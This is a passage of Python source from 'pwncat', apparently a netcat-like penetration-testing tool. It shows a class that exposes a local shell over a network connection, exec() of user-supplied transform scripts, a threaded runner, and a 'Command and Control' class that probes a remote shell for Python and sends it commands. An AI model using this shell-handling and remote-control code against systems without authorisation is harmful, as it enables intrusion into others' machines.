            # binary data that read from it becomes corrupted on \r\n.
            # Setting sys.stdin to binary mode fixes that.
            if hasattr(os, "O_BINARY"):
                msvcrt.setmode(  # type: ignore
                    sys.stdin.fileno(),
                    os.O_BINARY,  # pylint: disable=no-member
                )
            return sys.stdin.read()  # type: ignore

        # [2/3] (Linux/Mac) Raw mode
        if self.__stdin_israw():
            # Issue #109
            # when pasting in term I donot get full line echo
            # To mitigate this, I'm disabling the select.select call on sys.stdin
            # self.__set_input_timeout()
            if self.__py3:
                return sys.stdin.buffer.read(1)
            return sys.stdin.read(1)  # type: ignore

        # [3/3] (Linux/Mac) Normal mode
        self.__set_input_timeout()
        if self.__py3:
            return sys.stdin.buffer.readline()
        return sys.stdin.readline()  # type: ignore


# -------------------------------------------------------------------------------------------------
# [6/11 IOCommand]: (5/5) IOCommand
# -------------------------------------------------------------------------------------------------
class IOCommand(IO):
    """Implement command execution functionality.

    Attributes:
        proc (subprocess.Popen): subprocess.Popen instance.
    """

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, ssig, opts):
        # type: (InterruptHandler, DsIOCommand) -> None
        """Set specific options for this I/O module.

        Args:
            ssig (InterruptHandler): Instance of InterruptHandler.
            opts (DsIOCommand): Custom module options.
        """
        super(IOCommand, self).__init__(ssig)
        self.__opts = opts
        self.log.debug("Setting '%s' as executable", self.__opts.executable)

        # Did we already run cleanup
        self.__cleaned_up = False

        # If we receive only one byte at a time, the remote end is most likely
        # in raw mode and we will also start sending one byte at a time.
        # This will be determined in the consumer and action is taken in
        # the producer.
        self.__remote_is_raw = False

        # Open executable to wait for commands
        env = os.environ.copy()
        try:
            self.proc = Popen(  # pylint: disable=consider-using-with
                self.__opts.executable,
                stdin=PIPE,
                stdout=PIPE,
                stderr=STDOUT,
                bufsize=self.__opts.bufsize,
                shell=False,
                env=env,
            )
        except FileNotFoundError:
            self.log.error("Specified executable '%s' not found", self.__opts.executable)
            sys.exit(1)
        # Python-2 compat (doesn't have FileNotFoundError)
        except OSError:
            self.log.error("Specified executable '%s' not found", self.__opts.executable)
            sys.exit(1)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def producer(self, *args, **kwargs):
        # type: (Any, Any) -> Iterator[bytes]
        """Constantly ask for input.

        Yields:
            str: Data received from command output.
        """
        assert self.proc.stdout is not None
        while True:
            if self.ssig.has_command_quit():
                self.log.trace("COMMAND-QUIT signal ACK IOCommand.producer (1)")  # type: ignore
                self.__cleanup()
                return
            self.log.trace("Reading command output")  # type: ignore
            # Byte-wise reading is required to make it work for remote ends being in raw mode
            # However, the performance of self.proc.stdout.readline() is way faster.
            # To improve performance we will get rid of all other logging calls here.
            if self.__remote_is_raw:
                data = self.proc.stdout.read(1)
            else:
                data = self.proc.stdout.readline()
            self.log.trace("Command output: %s", repr(data))  # type: ignore
            if not data:
                if self.ssig.has_command_quit():
                    self.log.trace("COMMAND-QUIT signal ACK IOCommand.producer (2)")  # type: ignore
                    self.__cleanup()
                    return
                # This usually happens when sending a semicolon only to /bin/[ba]sh
                # which then responds with: /bin/sh: line 5: syntax error near unexpected token `;'
                # Afterwards the shell is corrupt and gone so we will restart it here.
                self.log.error("COMMAND-EOF restarting: %s", self.__opts.executable)
                self.proc = Popen(  # pylint: disable=consider-using-with
                    self.__opts.executable,
                    stdin=PIPE,
                    stdout=PIPE,
                    stderr=STDOUT,
                    bufsize=self.__opts.bufsize,
                    shell=False,
                    env=os.environ.copy(),
                )
                continue
            yield data

    def consumer(self, data):
        # type: (bytes) -> None
        """Send data received to stdin (command input).

        Args:
            data (str): Command to execute.
        """
        # If we only receive one byte at a time, also tell the consumer
        # to send one byte at a time immediately and not to wait for a full line.
        if len(data) == 1:
            self.__remote_is_raw = True
        else:
            self.__remote_is_raw = False

        assert self.proc.stdin is not None
        self.log.trace("Appending to stdin: %s", repr(data))  # type: ignore
        try:
            self.proc.stdin.write(data)
            self.proc.stdin.flush()
        except BrokenPipeError:
            pass

    def interrupt(self):
        # type: () -> None
        """Stop function that can be called externally to close this instance."""
        self.log.trace("COMMAND-QUIT signal RAISED IOCommand.interrupt")  # type: ignore
        self.ssig.raise_command_quit()
        self.__cleanup()

    def __cleanup(self):
        # type: () -> None
        """Cleanup function."""
        if not self.__cleaned_up:
            self.log.trace(  # type: ignore
                "COMMAND-QUIT-CLEANUP: killing executable: %s with pid %d",
                self.__opts.executable,
                self.proc.pid,
            )
            self.proc.kill()
            self.__cleaned_up = True


# #################################################################################################
# #################################################################################################
# ###
# ###   7 / 11   P S E   S T O R E
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [7/11 PSE]: (1/1) PSEStore
# -------------------------------------------------------------------------------------------------
class PSEStore(object):
    """Pwncats Scripting Engine store to persist and exchange data for send/recv scripts.

    The same instance of this class will be available to your send and receive scripts
    that allow you to exchange data or manipulate themselves. You even have access to the
    currently used instance of the networking class to manipulate the active socket.
    As well as to the logger and InterruptHandler instances.
    """

    @property
    def messages(self):
        # type: () -> Dict[str, List[bytes]]
        """`Dict[str, List[bytes]]`: Stores sent and received messages by its thread name."""
        return self.__messages

    @messages.setter
    def messages(self, value):
        # type: (Dict[str, List[bytes]]) -> None
        self.__messages = value

    @property
    def store(self):
        # type: () -> Any
        """`Any`: Custom data store to be used in PSE scripts to persist your data between calls."""
        return self.__store

    @store.setter
    def store(self, value):
        # type: (Any) -> None
        self.__store = value

    @property
    def ssig(self):
        # type: () -> InterruptHandler
        """`InterruptHandler`: Instance of InterruptHandler class."""
        return self.__ssig

    @property
    def net(self):
        # type: () -> List[IONetwork]
        """`IONetwork`: List of active IONetwork instances (client or server)."""
        return self.__net

    @property
    def log(self):
        # type: () -> logging.Logger
        """`Logging.logger`: Instance of Logging.logger class."""
        return self.__log

    def __init__(self, ssig, net):
        # type: (InterruptHandler, List[IONetwork]) -> None
        """Instantiate the PSE class.

        Args:
            ssig (InterruptHandler): Instance InterruptHandler.
            net (IONetwork): Instance of the current network class to manipulate the socket.
        """
        self.__messages = {}
        self.__store = None
        self.__ssig = ssig
        self.__net = net
        self.__log = logging.getLogger(__name__)


# #################################################################################################
# #################################################################################################
# ###
# ###   8 / 11   R U N N E R
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [8/11 IO RUNNER]: (1/2) InterruptHandler
# -------------------------------------------------------------------------------------------------
class InterruptHandler(object):
    """Pwncat interrupt handler.

    It allows all threads to raise various signal on certain actions,
    as well as to ask the Interrupt Handler what to do.
    The Interrupt handler will internally decide (based on pwncat's
    command line arguments) what to do.
    """

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, keep_open, no_shutdown):
        # type: (bool, bool) -> None
        """Instantiate InterruptHandler.

        Args:
            keep_open (bool): `--keep-open` command line argument.
            no_shutdown (bool): `--no-shutdown` command line argument.
        """
        self.__log = logging.getLogger(__name__)  # type: logging.Logger
        self.__keep_open = keep_open
        self.__no_shutdown = no_shutdown

        # Shutdown signals
        self.__terminate = False
        self.__sock_send_eof = False
        self.__sock_quit = False
        self.__stdin_quit = False
        self.__command_quit = False

        # Producers have received EOF
        self.__sock_eof = False
        self.__stdin_eof = False
        self.__command_eof = False

        def handler(signum, frame):  # type: ignore  # pylint: disable=unused-argument
            self.__log.trace("Ctrl+c caught.")  # type: ignore
            # logging.shutdown()
            self.raise_terminate()

        # Handle Ctrl+C
        # signal.signal(signal.SIGTERM, handler)
        signal.signal(signal.SIGINT, handler)

    # --------------------------------------------------------------------------
    # Ask for action
    # --------------------------------------------------------------------------
    def has_terminate(self):
        # type: () -> bool
        """`bool`: Switch to be checked if pwncat should be terminated."""
        return self.__terminate

    def has_sock_send_eof(self):
        # type: () -> bool
        """`bool`: Switch to be checked if the socket connection should be closed for sending."""
        return self.__sock_send_eof

    def has_sock_quit(self):
        # type: () -> bool
        """`bool`: Switch to be checked if the socket connection should be closed."""
        return self.__sock_quit

    def has_stdin_quit(self):
        # type: () -> bool
        """`bool`: Switch to be checked if the STDIN should be closed."""
        return self.__stdin_quit

    def has_command_quit(self):
        # type: () -> bool
        """`bool`: Switch to be checked if the command should be closed."""
        return self.__command_quit

    # --------------------------------------------------------------------------
    # Raise Termination signal
    # --------------------------------------------------------------------------
    def raise_terminate(self):
        # type: () -> None
        """Signal the application that Socket should be quit."""
        self.__log.trace("SIGNAL TERMINATE raised")  # type: ignore
        self.__terminate = True
        self.__sock_quit = True
        self.__stdin_quit = True
        self.__command_quit = True

    # --------------------------------------------------------------------------
    # Raise Socket signals
    # --------------------------------------------------------------------------
    def raise_sock_send_eof(self):
        # type: () -> None
        """Signal the application that Socket should be closed for sending."""
        # self.__log.trace("SIGNAL SOCK-CLOSE-SEND raised")  # type: ignore
        self.__sock_send_eof = True

    def raise_sock_eof(self):
        # type: () -> None
        """Signal the application that Socket has received EOF."""
        # self.__log.trace("SIGNAL SOCK-EOF raised")  # type: ignore
        self.__sock_eof = True
        self.raise_sock_quit()

    def raise_sock_quit(self):
        # type: () -> None
        """Signal the application that Socket should be quit."""
        # self.__log.trace("SIGNAL SOCK-QUIT raised")  # type: ignore
        self.__sock_quit = True
        self.raise_terminate()

    # --------------------------------------------------------------------------
    # Raise STDIN signals
    # --------------------------------------------------------------------------
    def raise_stdin_eof(self):
        # type: () -> None
        """Signal the application that STDIN has received EOF."""
        # self.__log.trace("SIGNAL STDIN-EOF raised")  # type: ignore
        self.__stdin_eof = True
        self.raise_stdin_quit()

    def raise_stdin_quit(self):
        # type: () -> None
        """Signal the application that STDIN should be quit."""
        # self.__log.trace("SIGNAL STDIN-QUIT raised")  # type: ignore
        self.__stdin_quit = True
        # If --no-shutdown or -keep-open is specified
        # pwncat will not invoke shutdown on a socket after seeing EOF on stdin
        if not (self.__no_shutdown or self.__keep_open):
            # No more data from stdin, we can tell the remote side we are done
            # by closing the socket for sending (they will receive an EOF).
            self.raise_sock_send_eof()

    # --------------------------------------------------------------------------
    # Raise COMMAND signals
    # --------------------------------------------------------------------------
    def raise_command_eof(self):
        # type: () -> None
        """Signal the application that Command has received EOF."""
        # self.__log.trace("SIGNAL COMMAND-EOF raised")  # type: ignore
        self.__command_eof = True
        self.raise_command_quit()

    def raise_command_quit(self):
        # type: () -> None
        """Signal the application that Command should be quit."""
        # self.__log.trace("SIGNAL COMMAND-QUIT raised")  # type: ignore
        self.__command_quit = True
        self.raise_terminate()


# -------------------------------------------------------------------------------------------------
# [8/11 IO RUNNER]: (2/2) Runner
# -------------------------------------------------------------------------------------------------
class Runner(object):
    """Runner class that takes care about putting everything into threads."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, ssig, fast_quit, pse):
        # type: (InterruptHandler, bool, PSEStore) -> None
        """Create a new Runner object.

        Args:
            ssig (InterruptHandler): Instance of InterruptHandler.
            fast_quit (boo): On `True` do not join threads upon exit, just raise terminate and exit.
            pse (PSEStore): Pwncat Scripting Engine store.
        """
        self.log = logging.getLogger(__name__)

        # Dict of producer/consumer action to run in a thread.
        # Each list item will be run in its own thread
        self.__actions = {}  # type: Dict[str, DsRunnerAction]

        # Dict of timed function definition to run in a thread.
        # Each list item will be run in its own thread.
        self.__timers = {}  # type: Dict[str, DsRunnerTimer]

        # Dict of repeater function definition to run in a thread.
        # Each list item will be run in its own thread.
        self.__repeaters = {}  # type: Dict[str, DsRunnerRepeater]

        # A dict which holds the threads created from actions.
        # The name is based on the __actions name
        # {"name": "<thread>"}
        self.__threads = {}  # type: Dict[str, threading.Thread]

        self.__ssig = ssig
        self.__fast_quit = fast_quit
        self.__pse = pse

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def add_action(self, name, action):
        # type: (str, DsRunnerAction) -> None
        """Add a function to the producer/consumer thread pool runner.

        Args:
            name (str): The name for the added action (will be used for logging the tread name).
            action (DsRunnerAction): Instance of DSRunnerAction.
        """
        self.__actions[name] = action

    def add_timer(self, name, timer):
        # type: (str, DsRunnerTimer) -> None
        """Add a function to the timer thread pool runner.

        Args:
            name (str): The name for the added timer (will be used for logging the thread name).
            timer (DsRunnerTimer): Instance of DsRunnerTimer.
        """
        self.__timers[name] = timer

    def add_repeater(self, name, repeater):
        # type: (str, DsRunnerRepeater) -> None
        """Add a function to the repeater thread pool runner.

        Args:
            name (str): The name for the added repeater (will be used for logging the thread name).
            repeater (DsRunnerRepeater): Instance of DsRunnerRepeater.
        """
        self.__repeaters[name] = repeater

    def run(self):
        # type: () -> None
        """Run threaded pwncat I/O modules."""

        def run_action(
            name,  # type: str
            producer,  # type: DsCallableProducer
            consumer,  # type: Callable[[bytes], None]
            transformers,  # type: List[Transform]
            code,  # type: Optional[Union[str, bytes, CodeType]]
        ):
            # type: (...) -> None
            """Producer/consumer run function to be thrown into a thread.

            Args:
                name (str): Name for logging output.
                producer (function): A generator function which yields data.
                consumer (function): A callback which consumes data from the generator.
                transformers ([function]): List of transformer functions applied before consumer.
                code (ast.AST): User-supplied python code with a transform(data) -> str function.
            """
            self.log.trace("[%s] Producer Start", name)  # type: ignore
            for data in producer.function(*producer.args, **producer.kwargs):
                self.log.trace("[%s] Producer received: %s", name, repr(data))  # type: ignore

                # [1/3] Transform data before sending it to the consumer
                if transformers:
                    for transformer in transformers:
                        data = transformer.transform(data)
                    self.log.trace(  # type: ignore
                        "[%s] Producer data after transformers: %s", name, repr(data)
                    )

                # [2/3] Apply custom user-supplied code transformations
                if code is not None:
                    self.log.debug(
                        "[%s] Executing user supplied transform(data, pse) -> data function", name
                    )
                    pse = self.__pse
                    # Add current message to PSE store
                    if name in self.__pse.messages:
                        self.__pse.messages[name] = self.__pse.messages[name] + [data]
                    else:
                        self.__pse.messages[name] = [data]
                    # Execute script code
                    exec(code, {}, locals())  # pylint: disable=exec-used
                    data = locals()["transform"](data, pse)

                    self.log.trace(  # type: ignore
                        "[%s] Producer data after user supplied transformer: %s", name, repr(data)
                    )

                # [3/3] Consume it
                consumer(data)
            self.log.trace("[%s] Producer Stop", name)  # type: ignore

        def run_timer(name, action, intvl, ssig, *args, **kwargs):
            # type: (str, Callable[..., None], int, InterruptHandler, Any, Any) -> None
            """Timer run function to be thrown into a thread (Execs periodic tasks).

            Args:
                name (str):        Name for logging output
                action (function): Function to be called in a given intervall
                intvl (float):     Intervall at which the action function will be called
                ssig (InterruptHandler): Instance of InterruptHandler
                args (*args):      *args for action func
                kwargs (**kwargs): **kwargs for action func
            """
            self.log.trace("[%s] Timer Start (exec every %f sec)", name, intvl)  # type: ignore
            time_last = int(time.time())
            while True:
                if ssig.has_terminate():
                    self.log.trace(  # type: ignore
                        "TERMINATE signal ACK for timer action [%s]", name
                    )
                    return
                time_now = int(time.time())
                if time_now > time_last + intvl:
                    self.log.debug("[%s] Executing timed function", time_now)
                    action(*args, **kwargs)
                    time_last = time_now  # Reset previous time
                time.sleep(0.1)

        def run_repeater(name, action, repeat, pause, ssig, *args, **kwargs):
            # type: (str, Callable[..., None], int, float, InterruptHandler, Any, Any) -> None
            """Repeater run function to be thrown into a thread (Execs periodic tasks).

            Args:
                name (str):        Name for logging output
                action (function): Function to be called
                repeat (int):      Repeat the function so many times before quitting
                pause (float):     Pause between repeated calls
                ssig (InterruptHandler): Instance of InterruptHandler
                args (*args):      *args for action func
                kwargs (**kwargs): **kwargs for action func
            """
            cycles = 1
            self.log.trace("Repeater Start (%d/%d)", cycles, repeat)  # type: ignore
            while cycles <= repeat:
                if ssig.has_terminate():
                    self.log.trace(  # type: ignore
                        "TERMINATE signal ACK for repeater action [%s]", name
                    )
                    return
                self.log.debug("Executing repeated function (%d/%d)", cycles, repeat)
                action(*args, **kwargs)
                cycles += 1
                time.sleep(pause)

        # [1/3] Start available action in a thread
        for key in self.__actions:
            if self.__ssig.has_terminate():
                self.log.trace("TERMINATE signal ACK for Runner.run [1]: [%s]", key)  # type: ignore
                break
            # Create Thread object
            thread = threading.Thread(
                target=run_action,
                name=key,
                args=(
                    key,
                    self.__actions[key].producer,
                    self.__actions[key].consumer,
                    self.__actions[key].transformers,
                    self.__actions[key].code,
                ),
            )
            # Daemon threads are easier to kill
            thread.daemon = self.__actions[key].daemon_thread

            # Add delay if threads cannot be started
            delay = 0.0
            while True:
                if self.__ssig.has_terminate():
                    self.log.trace(  # type: ignore
                        "TERMINATE signal ACK for Runner.run [2]: [%s]", key
                    )
                    break
                try:
                    # Do not call any logging functions in here as it will
                    # cause a deadlock for Python2
                    # Start and break the loop upon success to go to the next thread to start
                    thread.start()
                    break
                except (RuntimeError, Exception):  # pylint: disable=broad-except
                    delay += 0.1
                    time.sleep(delay)  # Give the system some time to release open fd's
            self.__threads[key] = thread

        # [2/3] Start available timers in a thread
        for key in self.__timers:
            if self.__ssig.has_terminate():
                self.log.trace("TERMINATE signal ACK for Runner.run [2]: [%s]", key)  # type: ignore
                break
            # Create Thread object
            thread = threading.Thread(
                target=run_timer,
                name=key,
                args=(
                    key,
                    self.__timers[key].action,
                    self.__timers[key].intvl,
                    self.__timers[key].ssig,
                )
                + self.__timers[key].args,
                kwargs=self.__timers[key].kwargs,
            )
            thread.daemon = False
            thread.start()

        # [3/3] Start available repeaters in a thread
        for key in self.__repeaters:
            if self.__ssig.has_terminate():
                self.log.trace("TERMINATE signal ACK for Runner.run [3]: [%s]", key)  # type: ignore
                break
            # Create Thread object
            thread = threading.Thread(
                target=run_repeater,
                name=key,
                args=(
                    key,
                    self.__repeaters[key].action,
                    self.__repeaters[key].repeat,
                    self.__repeaters[key].pause,
                    self.__repeaters[key].ssig,
                )
                + self.__repeaters[key].args,
                kwargs=self.__repeaters[key].kwargs,
            )
            thread.daemon = False
            thread.start()

        def check_stop():
            # type: () -> bool
            """Stop threads."""
            # [1/2] Fast shutdown
            # For Python < 3.3 we are unable to detect Ctrl+c signal during thread.join()
            # in a fast loop. Also for port-scan we will have thousands of threads that need
            # to be joined and the signal handler is unable to abort the whole program during that
            # time. Outcome is it would take a few minutes to abort during port scan.
            # The fix is to use a "faster" method to kill the threads.
            # 1. The port scanner threads need to be started in daemon mode
            # 2. the fast_quit param to Runner() must be set to True
            if self.__fast_quit:
                if self.__ssig.has_terminate():
                    self.log.trace("Fast quit - shutting down.")  # type: ignore
                    return True

            # [2/2] Normal shutdown for non-daemon threads
            else:
                for key in self.__threads:
                    if not self.__threads[key].is_alive() or self.__ssig.has_terminate():
                        for interrupt in self.__actions[key].interrupts:
                            # [1/3] Call external interrupters
                            self.log.trace(  # type: ignore
                                "Call INTERRUPT: %s.%s() for %s",
                                getattr(interrupt, "__self__").__class__.__name__,
                                interrupt.__name__,
                                self.__threads[key].getName(),
                            )
                            interrupt()
                            # [2/3] All blocking events inside the threads are gone, now join them
                            try:
                                self.log.trace(  # type: ignore
                                    "Joining %s", self.__threads[key].getName()
                                )
                                # NOTE: The thread.join() operating will also block the signal
                                # handler if we try to join too many threads at once.
                                self.__threads[key].join()
                                self.log.trace(  # type: ignore
                                    "Joined %s", self.__threads[key].getName()
                                )
                            except RuntimeError:
                                pass
            # If all threads are done, also stop
            if all([not self.__threads[key].is_alive() for key in self.__threads]):
                self.log.trace("All threads dead - shutting down.")  # type: ignore
                return True
            return False

        while True:
            if check_stop():
                sys.exit(0)
            # Need a timeout to not skyrocket the CPU
            if sys.version_info < (3, 3):
                # Signal Handler in Python < 3.3 is broken and might not catch on
                # a too small timeout invervall
                time.sleep(0.5)
            else:
                time.sleep(0.01)


# #################################################################################################
# #################################################################################################
# ###
# ###   9 / 11   C O M M A N D   A N D   C O N T R O L   M O D U L E S
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [9/11 Command & Control]: (1/3) CNC Exception classes
# -------------------------------------------------------------------------------------------------
class CNCPythonNotFound(BaseException):
    """CNC Exception handler."""


# -------------------------------------------------------------------------------------------------
# [9/11 Command & Control]: (2/3) CNC
# -------------------------------------------------------------------------------------------------
class CNC(object):
    """Command and Control base class."""

    __PYTHON_PATHS = [
        "/usr/bin",
        "/usr/local/bin",
        "/usr/local/python/bin",
        "/usr/local/python2/bin",
        "/usr/local/python2.7/bin",
        "/usr/local/python3/bin",
        "/usr/local/python3.5/bin",
        "/usr/local/python3.6/bin",
        "/usr/local/python3.7/bin",
        "/usr/local/python3.8/bin",
        "/bin",
        "/opt/bin",
        "/opt/python/bin",
        "/opt/python2/bin",
        "/opt/python2.7/bin",
        "/opt/python3/bin",
        "/opt/python3.5/bin",
        "/opt/python3.6/bin",
        "/opt/python3.7/bin",
        "/opt/python3.8/bin",
    ]

    __PYTHON_NAMES = [
        "python3",
        "python",
        "python2",
        "python2.7",
        "python3.5",
        "python3.6",
        "python3.7",
        "python3.8",
    ]

    __COLORS = {"yellow": "\x1b[33;21m", "reset": "\x1b[0m"}

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def remote_python(self):
        # type: () -> str
        """Discovered absolute Python remote path."""
        return self.__remote_python

    @property
    def remote_py3(self):
        # type: () -> bool
        """Is remote version Python3? Else it is Python2."""
        return self.__remote_py3

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, network):
        # type: (IONetwork) -> None
        """Instantiate Command and Control class.

        Args:
            network (IONetwork): Instance of IONetwork

        Raises:
            CNCPythonNotFound: if remote Python binary path is not found.
        """
        self.__net = network
        self.__log = logging.getLogger(__name__)
        self.__py3 = sys.version_info >= (3, 0)  # type: bool

        # Along with the response the server might prefix/suffix data
        # such as a PS1 prompt (which might be send first or last with a newline)
        self.__remote_prefix = []  # type: List[bytes]
        self.__remote_suffix = []  # type: List[bytes]

        # Receive timeout value will be adjusted dynamically depending on the
        # speed of the server. We'll start high to allow for slow servers.
        self.__recv_timeout = 0.3
        self.__recv_rounds = 5
        self.__recv_times = []  # type: List[float]

        # [1/3] Check if there is data to be received first (e.g.: greeting)
        self.print_info("Checking if remote sends greeting...")
        greeting = self.send_recv(None, False, False)
        if greeting:
            self.print_raw(b"\n".join(greeting), True)

        # [2/3] Check if the remote sends a prefix with every reply
        self.__set_remote_prefix()

        # [3/3] Find potential Python versions
        if not self.__set_remote_python_path():
            self.print_info("No Python has been found. Aborting and handing over to current shell.")
            raise CNCPythonNotFound()

    # --------------------------------------------------------------------------
    # Print Functions
    # --------------------------------------------------------------------------
    def print_info(self, message=None, newline=True, erase=False):
        # type: (Optional[str], bool, bool) -> None
        """Print a message to the local screen to inform the user.

        Args:
            message (str): The message to print.
            newline (bool): Add a newline?
            erase (bool): Erase previously printed text on the same line.
        """
        end = "\n" if newline else ""
        prefix = "{}[PWNCAT CnC]{} ".format(self.__COLORS["yellow"], self.__COLORS["reset"])
        if message is None:
            message = ""
            prefix = ""

        if erase:
            print("\r" * 1024 + "{}{}".format(prefix, message), end=end)
            sys.stdout.flush()
        else:
            print("{}{}".format(prefix, message), end=end)
            sys.stdout.flush()

    def print_raw(self, message, newline):
        # type: (bytes, bool) -> None
        """Print a message to the local screen without color/prefix.

        Args:
            message (bytes): The message to print.
            newline (bool): Add a newline?
        """
        if self.__py3:
            end = b"\n" if newline else b""
            sys.stdout.buffer.write(b"".join([message, end]))
        else:
            end = "\n" if newline else ""  # type: ignore
            print(message, end=end)  # type: ignore

        # For issues with flush (when using tail -F or equal) see links below:
        # https://stackoverflow.com/questions/26692284
        # https://docs.python.org/3/library/signal.html#note-on-sigpipe
        try:
            sys.stdout.flush()
        except IOError:
            # Python flushes standard streams on exit; redirect remaining output
            # to devnull to avoid another broken pipe at shutdown
            devnull = os.open(os.devnull, os.O_WRONLY)
            os.dup2(devnull, sys.stdout.fileno())

    # --------------------------------------------------------------------------
    # Network Functions
    # --------------------------------------------------------------------------
    def send(self, data):
        # type: (bytes) -> int
        """Send data through a connected (TCP) or unconnected (UDP) socket.

        Args:
            data (bytes): The data to send.

        Returns:
            int: Returns total bytes sent.

        Raises:
            socket.error:   Except here when unconnected or connection was forcibly closed.
        """
        return self.__net.net.send(data)

    def flush_receive(self):
        # type: () -> List[bytes]
        """Try to reveive everything which is currently being sent from remote.

        Returns:
            List[bytes]: Returns a list of bytes of received data.

        Raises:
            socket.error:   Except here when unconnected or connection was forcibly closed.
        """
        self.print_info("Flushing receive buffer (this can take some time) ...")

        self.send(b"\n")
        data1 = self.send_recv(None, False, False)
        data2 = self.send_recv(None, False, False)

        self.print_info("Flushing receive buffer done.")
        return data1 + data2

    def send_recv(self, data, strip_suffix=True, strip_echo=False):
        # type: (Optional[bytes], bool, bool) -> List[bytes]
        """Send data through a connected (TCP) or unconnected (UDP) socket and receive all replies.

        Args:
            data (None|bytes): The data to send. If None, will skip sending.
            strip_suffix (bool): Strip remote suffix from received data?
            strip_echo (bool): Also remove 'data' from output if server has echo'ed it?

        Returns:
            List[bytes]: Returns a list of bytes of received data.

        Raises:
            socket.error:   Except here when unconnected or connection was forcibly closed.
        """
        # [1/4] Send
        if data is not None:
            self.__net.net.send(data)

        # [2/4] Receive actual reply
        responses = []

        # Setup timer and current receive round
        time_start = datetime.now()
        curr_round = 0

        while curr_round < self.__recv_rounds:
            try:
                response = self.__net.net.receive()
            except socket.timeout:
                time.sleep(self.__recv_timeout)
                time_step = datetime.now()
                time_diff = time_step - time_start

                self.__log.trace(  # type: ignore
                    "Timeout: Receive timed out after %f sec in %d/%d rounds",
                    time_diff.total_seconds(),
                    curr_round + 1,
                    self.__recv_rounds,
                )
                curr_round += 1
            # On successful read, we can determine to adjust timings.
            else:
                time_end = datetime.now()
                time_diff = time_end - time_start

                self.__recv_times.append(time_diff.total_seconds())
                self.__log.trace(  # type: ignore
                    "Timeout: Receive took %f sec (avg: %f) to receive in %d/%d rounds",
                    time_diff.total_seconds(),
                    sum(self.__recv_times) / len(self.__recv_times),
                    curr_round + 1,
                    self.__recv_rounds,
                )

                # Retries were required
                prev_recv_timeout = self.__recv_timeout
                if curr_round > 1:
                    self.__recv_timeout += time_diff.total_seconds()
                # No retries requred
                else:
                    self.__recv_timeout = time_diff.total_seconds() / 2

                self.__log.trace(  # type: ignore
                    "Timeout: Previous recv timeout: %f sec -> new recv timeout: %f sec",
                    prev_recv_timeout,
                    self.__recv_timeout,
                )

                # Add response
                if response:
                    responses.append(response)

                # Reset the start time and round
                time_start = datetime.now()
                curr_round = 0

        # Return if already empty
        if not responses:
            return responses

        # Response could be in one of the below listed formats:
        # 1. response could be one line per element
        # 2. reposnse could be multiple lines per element
        # 3. response cloud be single characters per element
        # But we want to make sure that we always get one line per element,
        # so we normalize it

        # First: Join lines which do not have line endings
        self.__log.debug("Normalize recv before (1): %s", repr(responses))
        normalized = []
        has_eol = True
        for line in responses:
            if has_eol:
                normalized.append(line)
            else:
                normalized[-1] = normalized[-1] + line
            # Determine what to do next iteration
            if line.endswith(b"\r\n"):
                has_eol = True
            elif line.endswith(b"\n"):
                has_eol = True
            elif line.endswith(b"\r"):
                has_eol = True
            else:
                has_eol = False
        responses = normalized
        self.__log.debug("Normalize recv after  (1): %s", repr(responses))

        # Second: Separate lines which have line endings
        self.__log.debug("Normalize recv before (2): %s", repr(responses))
        normalized = []
        for line in responses:
            line = line.rstrip(b"\r\n")
            line = line.rstrip(b"\n")
            line = line.rstrip(b"\r")
            line = line.lstrip(b"\r\n")
            line = line.lstrip(b"\n")
            line = line.lstrip(b"\r")
            if b"\r\n" in line:
                for newline in line.split(b"\r\n"):
                    normalized.append(newline)
            elif b"\n" in line:
                for newline in line.split(b"\n"):
                    normalized.append(newline)
            elif b"\r" in line:
                for newline in line.split(b"\r"):
                    normalized.append(newline)
            else:
                normalized.append(line)
        responses = normalized
        self.__log.debug("Normalize recv after  (2): %s", repr(responses))

        # [3/4] Remove remote ends suffix (if it sends something like it)
        # We iterate reversed of responses and check if the new line suffix(es)
        # are present at the end.
        # This is because the suffix(es) is always received last.
        if self.__remote_suffix and strip_suffix:
            # If multiple suffix lines are send we will first strip x-1 suffix lines
            if len(self.__remote_suffix) > 1:
                lines_to_strip = len(self.__remote_suffix) - 1
                self.__log.debug("Remove suffix before (1): %s", repr(responses))
                responses = responses[:-lines_to_strip]
                self.__log.debug("Remove suffix after  (1): %s", repr(responses))

            # Return if already empty
            if not responses:
                return responses

            # Clean up the last response line with first suffix line
            self.__log.debug("Remove suffix before (2): %s", repr(responses))
            responses[-1] = responses[-1].rstrip(self.__remote_suffix[0])
            self.__log.debug("Remove suffix after  (2): %s", repr(responses))

            # Ensure empty elements are removed
            self.__log.debug("Remove suffix before (3): %s", repr(responses))
            responses = [item for item in responses if item]
            self.__log.debug("Remove suffix after  (3): %s", repr(responses))

        # [4/4] Some server also echo back what we've send, so if we did send something
        # we need to strip this off as well
        if data is not None and strip_echo:
            for idx, item in enumerate(responses):
                if data in responses[idx]:
                    del responses[idx]
                elif data.rstrip() in responses[idx]:
                    del responses[idx]
                # Ensure empty elements are removed
                responses = [item for item in responses if item]

        # Return list of respones
        return responses

    # --------------------------------------------------------------------------
    # High-level Functions
    # --------------------------------------------------------------------------
    def remote_command(self, command, output):
        # type: (str, bool) -> Optional[List[bytes]]
        """Run remote command with correct linefeeds and receive response lines.

        Args:
            command (str): The command to execute on the remote end.
            output (bool): Receive output from command?
        """
        command = command.rstrip("\r\n")
        command = command.rstrip("\r")
        command = command.rstrip("\n")
        command = command + "\n"
        if output:
            return self.send_recv(StringEncoder.encode(command), True, True)
        self.send(StringEncoder.encode(command))
        return None

    def create_remote_tmpfile(self):
        # type: () -> Optional[str]
        """OS-independent remote tempfile creation.

        Returns:
            str or None: Returns path on success or None on error.
        """
        self.flush_receive()
        self.print_info("Creating tmpfile:", False, True)

        command = []
        command.append("{} -c '".format(self.__remote_python))
        command.append("import tempfile;")
